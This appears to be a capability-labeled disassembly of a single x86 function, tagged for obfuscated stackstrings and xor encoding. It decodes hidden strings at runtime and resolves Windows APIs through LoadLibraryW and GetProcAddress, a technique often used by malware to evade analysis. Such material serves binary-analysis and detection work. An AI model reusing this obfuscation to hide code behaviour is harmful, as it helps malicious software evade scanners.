Function at 0x10115b40
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x2c
mov eax, 0x21
push ebx
mov word [esp + 0x14], ax
mov word [esp + 0x16], ax
mov eax, 0x1f
push ebp
mov ebp, ecx
mov word [esp + 0x28], ax
mov word [esp + 0x2a], ax
xor ebx, ebx
mov eax, 2
mov dword [ebp], ebx
mov dword [ebp + 4], ebx
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], ebx
mov word [esp + 0x30], ax
mov word [esp + 0x32], ax
mov al, byte [0x10195108]
push esi
push edi
test al, 1
mov dword [esp + 0x10], ebp
mov word [esp + 0x1c], 0x63
mov word [esp + 0x1e], 0x36
mov word [esp + 0x24], 7
mov word [esp + 0x26], 0x17
mov word [esp + 0x28], 0x12
mov word [esp + 0x2a], 0x37
mov word [esp + 0x2c], 0x22
mov word [esp + 0x2e], 0x1b
mov word [esp + 0x34], 5
mov word [esp + 0x36], 9
jne 0x10115c42
or al, 1
push 0x22
mov byte [0x10195108], al
call fcn.1013c2df
add esp, 4
mov dword [0x1019510c], eax
mov edi, 0x30
xor esi, esi
mov bx, word [esp + esi + 0x1c]
push edi
mov eax, ebx
mov ecx, 0x1019510c
and eax, 0xffff
push eax
call fcn.1004a650
mov ecx, dword [0x1019510c]
xor eax, edi
xor eax, ebx
xor edi, edi
mov word [esi + ecx], ax
mov eax, dword [0x1019510c]
mov di, word [esi + eax]
add esi, 2
cmp esi, 0x20
jb 0x10115bf4
push 0x10116720
mov word [eax + 0x20], 0
call fcn.1013c36b
add esp, 4
xor ebx, ebx
mov edx, dword [0x1019510c]
push 1
push edx
call fcn.10030300
mov eax, 0x38c
add esp, 8
cdq
idiv dword [0x1018cd58]
mov eax, dword [0x1018cd54]
mov word [esp + 0x1e], 0xe8
mov word [esp + 0x20], 0xfa
mov word [esp + 0x24], 0xf2
mov word [esp + 0x26], 0x95
mov word [esp + 0x28], 0xff
mov cl, byte [edx + eax]
mov eax, 0xeb
mov word [esp + 0x1c], ax
mov word [esp + 0x22], ax
mov eax, 0xf7
mov byte [esp + 0x16], cl
mov word [esp + 0x2a], ax
mov word [esp + 0x2c], ax
mov al, byte [0x10195110]
test al, 1
jne 0x10115d1a
or al, 1
push 0x14
mov byte [0x10195110], al
call fcn.1013c2df
add esp, 4
mov dword [0x10195114], eax
xor esi, esi
mov di, word [esp + esi + 0x1c]
push 0xbb
mov edx, edi
mov ecx, 0x10195114
and edx, 0xffff
push edx
call fcn.100a8ee0
mov ecx, dword [0x10195114]
add eax, 0xbb
xor eax, edi
mov word [esi + ecx], ax
add esi, 2
cmp esi, 0x12
jb 0x10115ccd
mov edx, dword [0x10195114]
push 0x10116730
mov word [edx + 0x12], bx
call fcn.1013c36b
add esp, 4
mov eax, dword [0x10195114]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp], eax
mov cl, byte [0x1018cd6b]
mov byte [0x1018cd68], cl
mov eax, dword [ebp]
cmp eax, ebx
je 0x1011615f
mov al, 0x84
mov cl, 0x76
mov byte [esp + 0x25], al
mov byte [esp + 0x26], al
mov byte [esp + 0x28], al
mov al, byte [0x10195118]
test al, 1
mov byte [esp + 0x1c], 0x56
mov byte [esp + 0x1d], 0x7f
mov byte [esp + 0x1e], 0x86
mov byte [esp + 0x1f], 0x7e
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x83
mov byte [esp + 0x22], 0x80
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], cl
mov byte [esp + 0x27], cl
jne 0x10115e05
or al, 1
push 0xe
mov byte [0x10195118], al
call fcn.1013c2df
add esp, 4
mov dword [0x1019511c], eax
xor esi, esi
mov bl, byte [esp + esi + 0x1c]
movsx ecx, bl
sub ecx, 0xef
cmp ecx, 0xef
jle 0x10115dd2
lea edx, [ecx - 1]
mov eax, 0x891ac73b
mul edx
shr edx, 7
lea eax, [edx + edx*2]
lea eax, [eax + eax*4]
shl eax, 4
sub eax, edx
neg eax
add ecx, eax
test ecx, ecx
je 0x10115dd8
xor ecx, ecx
sub bl, cl
mov ecx, dword [0x1019511c]
sub bl, 0x11
mov byte [esi + ecx], bl
inc esi
cmp esi, 0xd
jb 0x10115da1
mov edx, dword [0x1019511c]
push 0x10116740
mov byte [edx + 0xd], 0
call fcn.1013c36b
add esp, 4
xor ebx, ebx
mov eax, dword [0x1019511c]
mov ecx, dword [ebp]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 4], eax
mov esi, dword [0x1018cd58]
mov eax, 0x35c
mov edi, dword [0x1018cd54]
cdq
idiv esi
mov cl, byte [0x1018cd68]
mov al, byte [edx + edi]
mov dl, byte [esp + 0x16]
add al, dl
dec cl
dec dl
mov byte [0x1018cd68], cl
mov byte [esp + 0x16], dl
mov dl, byte [0x1018cd6a]
push edx
push eax
mov eax, 0x38d
push ecx
cdq
idiv esi
mov al, byte [edx + edi]
push eax
mov eax, 0x2fe
cdq
idiv esi
mov eax, 0x30
push 0x46
mov cl, byte [edx + edi]
cdq
idiv esi
push ecx
mov al, byte [edx + edi]
mov dl, 0xf5
imul dl
mov cl, al
mov eax, 0x1de
cdq
idiv esi
sub cl, byte [edx + edi]
push ecx
call fcn.10039200
add esp, 0x10
push eax
call fcn.10039200
push eax
call fcn.10032b70
mov byte [0x1018cd6e], al
mov eax, dword [ebp + 4]
add esp, 0x14
cmp eax, ebx
je 0x1011615f
mov al, 0xde
mov bl, 0xd8
mov byte [esp + 0x25], al
mov byte [esp + 0x26], al
mov byte [esp + 0x2d], al
mov al, byte [0x10195120]
mov dl, 0xc2
mov cl, 0xc8
test al, 1
mov byte [esp + 0x1c], 0xe8
mov byte [esp + 0x1d], 0xc3
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0xc0
mov byte [esp + 0x20], 0xfd
mov byte [esp + 0x21], 0xdf
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0xce
mov byte [esp + 0x24], cl
mov byte [esp + 0x27], 0xe0
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0xc9
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0xc1
mov byte [esp + 0x2c], cl
jne 0x10115f7b
mov bl, al
push 0x13
or bl, 1
mov byte [0x10195120], bl
call fcn.1013c2df
add esp, 4
mov dword [0x10195124], eax
xor ecx, ecx
mov bl, byte [esp + ecx + 0x1c]
movsx edx, bl
lea eax, [edx + 0xad]
and eax, edx
je 0x10115f52
and eax, 0xad
je 0x10115f52
cdq
xor eax, edx
sub eax, edx
je 0x10115f52
sar eax, 2
jne 0x10115f4d
mov edx, dword [0x10195124]
sub al, 0x53
xor al, bl
mov byte [ecx + edx], al
inc ecx
cmp ecx, 0x12
jb 0x10115f2e
mov eax, dword [0x10195124]
push 0x10116750
mov byte [eax + 0x12], 0
call fcn.1013c36b
add esp, 4
mov ecx, dword [0x10195124]
mov edx, dword [ebp]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp + 8], eax
je 0x1011615f
mov al, byte [0x10195128]
mov byte [esp + 0x1c], 0x77
test al, 1
mov byte [esp + 0x1d], 0x22
mov byte [esp + 0x1e], 0x11
mov byte [esp + 0x1f], 0x39
mov byte [esp + 0x20], 0x22
mov byte [esp + 0x21], 0xb
mov byte [esp + 0x22], 0x11
mov byte [esp + 0x23], 0x19
mov byte [esp + 0x24], 9
mov byte [esp + 0x25], 0x27
mov byte [esp + 0x26], 0x23
mov byte [esp + 0x27], 0x12
mov byte [esp + 0x28], 0x16
mov byte [esp + 0x29], 0x2b
mov byte [esp + 0x2a], 0x2f
mov byte [esp + 0x2b], 0xc
mov byte [esp + 0x2c], 8
mov byte [esp + 0x2d], 0x32
jne 0x10116082
mov bl, al
push 0x13
or bl, 1
mov byte [0x10195128], bl
call fcn.1013c2df
mov edx, eax
add esp, 4
mov dword [0x1019512c], edx
mov ebx, 0x30
xor esi, esi
mov cl, byte [esp + esi + 0x1c]
mov edi, ebx
movsx eax, cl
xor eax, ebx
test ebx, ebx
jne 0x10116036
mov edi, 4
test eax, eax
jge 0x1011603c
neg eax
test edi, edi
jge 0x10116042
neg edi
test eax, eax
je 0x1011605a
lea ebp, [eax + edi]
cdq
idiv ebp
test eax, eax
jne 0x10116046
mov edx, dword [0x1019512c]
mov ebp, dword [esp + 0x10]
xor cl, al
xor cl, bl
mov byte [esi + edx], cl
mov edx, dword [0x1019512c]
movsx ebx, byte [esi + edx]
inc esi
cmp esi, 0x12
jb 0x10116022
push 0x10116760
mov byte [edx + 0x12], 0
call fcn.1013c36b
add esp, 4
mov eax, dword [0x1019512c]
mov ecx, dword [ebp]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0xc], eax
mov byte [0x1018cd68], 0x73
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x1011615f
push 0
call fcn.10115b20
mov al, byte [0x1018cd6c]
add esp, 4
dec al
mov byte [0x1018cd6c], al
push eax
mov eax, 0x21b
cdq
idiv dword [0x1018cd58]
mov eax, dword [0x1018cd54]
mov cl, byte [edx + eax]
push ecx
push 0x75
push 0x1b
push 0xffffffffffffffe9
push 0x1d
call fcn.10116210
mov edx, dword [esp + 0x2e]
add esp, 0x10
add al, 0x7b
push eax
push edx
push 0x46
call fcn.10116220
mov cl, byte [0x1018cd6e]
add esp, 0x10
mov dl, byte [0x1018cd6b]
push eax
mov al, byte [0x1018cd6a]
add al, cl
mov cl, byte [0x1018cd6c]
push eax
mov al, byte [0x1018cd68]
push ecx
mov cl, 0x16
imul cl
push edx
push eax
call fcn.10116220
add esp, 0x10
push eax
mov eax, 0x1e7
cdq
idiv dword [0x1018cd58]
mov eax, dword [0x1018cd54]
push 0x12
mov cl, byte [edx + eax]
push ecx
call fcn.10116210
mov dl, byte [0x1018cd6d]
add esp, 0x10
push eax
push 0x12
push edx
call fcn.10116210
mov cl, 0x46
add esp, 0x10
imul cl
mov byte [0x1018cd68], al
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret